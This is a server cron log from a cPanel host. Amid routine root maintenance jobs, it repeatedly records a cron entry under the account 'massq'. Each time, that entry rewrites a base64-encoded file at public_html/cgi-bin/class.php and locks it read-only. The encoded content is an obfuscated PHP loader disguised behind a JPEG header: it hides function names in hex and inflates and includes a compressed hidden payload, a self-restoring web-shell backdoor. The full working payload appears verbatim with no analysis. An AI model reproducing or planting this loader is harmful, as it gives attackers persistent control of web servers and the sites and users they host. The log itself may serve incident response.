Sep  8 14:28:01 server CROND[15722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:28:01 server CROND[15721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:28:01 server CROND[15724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:29:01 server CROND[16202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:29:01 server CROND[16203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:29:01 server CROND[16204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:30:01 server CROND[16572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:30:01 server CROND[16574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:30:01 server CROND[16576]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:30:01 server CROND[16580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:30:01 server CROND[16577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:30:01 server CROND[16581]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:30:01 server CROND[16579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:30:01 server CROND[16578]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:31:01 server CROND[17429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:31:01 server CROND[17430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:31:01 server CROND[17431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:32:01 server CROND[17791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:32:01 server CROND[17792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:32:01 server CROND[17790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:33:01 server CROND[18188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:33:01 server CROND[18189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:33:01 server CROND[18190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:34:01 server CROND[18721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:34:01 server CROND[18722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:34:01 server CROND[18723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:35:01 server CROND[19133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:35:01 server CROND[19135]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:35:01 server CROND[19140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:35:01 server CROND[19141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:35:01 server CROND[19142]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 14:35:01 server CROND[19143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:35:01 server CROND[19147]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:35:01 server CROND[19146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:35:01 server CROND[19155]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 14:36:01 server CROND[19980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:36:01 server CROND[19981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:36:01 server CROND[19982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:37:01 server CROND[20365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:37:01 server CROND[20364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:37:01 server CROND[20367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:38:01 server CROND[20755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:38:01 server CROND[20756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:38:01 server CROND[20757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:39:01 server CROND[21234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:39:01 server CROND[21235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:39:01 server CROND[21236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:39:01 server CROND[21237]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 14:40:01 server CROND[21685]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:40:01 server CROND[21687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:40:01 server CROND[21688]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
